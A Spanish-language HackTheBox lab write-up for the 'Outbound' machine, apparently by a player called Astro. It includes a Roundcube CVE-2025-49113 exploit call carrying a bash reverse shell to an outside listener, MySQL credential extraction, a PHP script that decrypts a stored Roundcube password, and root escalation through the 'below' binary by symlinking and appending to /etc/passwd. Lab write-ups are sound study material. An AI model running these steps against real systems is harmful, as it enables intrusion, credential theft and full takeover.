Outbound HTB Write Up¶

1. Información del objetivo¶
IP de la máquina: 10.10.11.77
Dominio: mail.outbound.htb
Credenciales iniciales: tyler / LhKL1o9Nm3X2
2. Reconocimiento inicial¶
2.1 Escaneo de puertos¶


3. Enumeración de Roundcube¶
Primero necesitamos ir a http://mail.outbound.htb e iniciar sesión con las credenciales proporcionadas.

Luego podemos recuperar la versión de Roundcube haciendo clic en About.

Si verificamos esa versión de Roundcube, veremos que es vulnerable a CVE-2025-49113.
4. Explotando Roundcube (CVE-2025-49113)¶
Para explotarlo, utilicé este Script PHP de Github.
CVE-2025-49113 Exploit - GitHub
Luego lo exploté de la siguiente manera.
php CVE-2025-49113.php http://mail.outbound.htb/ tyler LhKL1o9Nm3X2 "bash -c 'bash -i >& /dev/tcp/10.10.XX.XX/6666 0>&1'"

5. Obteniendo acceso shell¶
Si configuramos nuestro listener, recibiremos la conexión.

6. Movimiento lateral con reutilización de contraseña¶
Una vez dentro, podemos intentar reutilizar la contraseña de tyler. Y funcionó.

7. Extrayendo credenciales encriptadas de MySQL¶
Ahora podemos revisar /var/www/html/roundcube/config y recuperar el contenido de config.inc.php, aquí tenemos la contraseña de MySQL y el valor de des_key.

Ejecutemos este comando para conectarnos a MySQL.
mysql -u roundcube -pRCDBPass2025 -h 127.0.0.1 -P 3306 --skip-ssl roundcube
select vars from session;
8. Descifrando la contraseña almacenada de Roundcube desde Vars¶
Aquí tendremos la siguiente salida en base64.

Si la decodificamos aquí, podemos ver una contraseña encriptada del usuario Jacob.

Para descifrar esta contraseña, utilicé este script PHP.
<?php
// Your 3DES key (24 bytes)
$key = 'rcmail-!24ByteDESkey*Str'; // Must be exactly 24 bytes for 3DES
// The encrypted password, **already base64 decoded** into binary
// Here we convert from base64 to binary manually once just for the example:
$ciphertext_base64 = 'L7Rv00A8TuwJAr67kITxxcSgnIk25Am/';
$ciphertext = base64_decode($ciphertext_base64);
// Extract IV from the start of ciphertext (3DES block size = 8 bytes)
$iv_size = 8;
$iv = substr($ciphertext, 0, $iv_size);
// The actual encrypted data is after the IV
$encrypted_data = substr($ciphertext, $iv_size);
// Decrypt using OpenSSL (3DES-CBC)
$decrypted = openssl_decrypt($encrypted_data, 'DES-EDE3-CBC', $key, OPENSSL_RAW_DATA, $iv);
// Remove PKCS7 padding
$pad = ord($decrypted[strlen($decrypted) - 1]);
if ($pad > 0 && $pad <= 8) {
$decrypted = substr($decrypted, 0, -$pad);
}
echo "Decrypted password: " . $decrypted . "\n";
?>
Si ejecuto el script aquí, obtenemos la contraseña en texto plano.

9. Enumerando Roundcube como usuario Jacob¶
Primero que nada, usaré esta contraseña para iniciar sesión en Roundcube.

Y funcionó (la primera solicitud no funcionará, la segunda sí). Aquí Tyler nos envió una contraseña, así que intentemos usar esta contraseña para iniciar sesión via ssh como Jacob.

10. Accediendo a la cuenta de Jacob via SSH¶
Y funcionó.

La flag de usuario se puede encontrar en /home/jacob/user.txt
11. Escalada de privilegios mediante el binario 'below'¶
Si ejecutamos sudo -l podemos ver que podemos ejecutar este binario como root.

Para obtener root, ejecuté los siguientes comandos.
rm -f /var/log/below/error_root.log
ln -sf /etc/passwd /var/log/below/error_root.log
sudo /usr/bin/below record &
sleep 2
pkill below
ls -la /etc/passwd
-rw-rw-rw- 1 root root 1840 Jul 8 21:06 /etc/passwd
echo "astro:$(openssl passwd -1 astro):0:0:root:/root:/bin/bash" >> /etc/passwd && su astro
Password: astro
12. Acceso root y captura de la flag¶

La flag de root se puede encontrar en /root/root.txt
Autor: Astro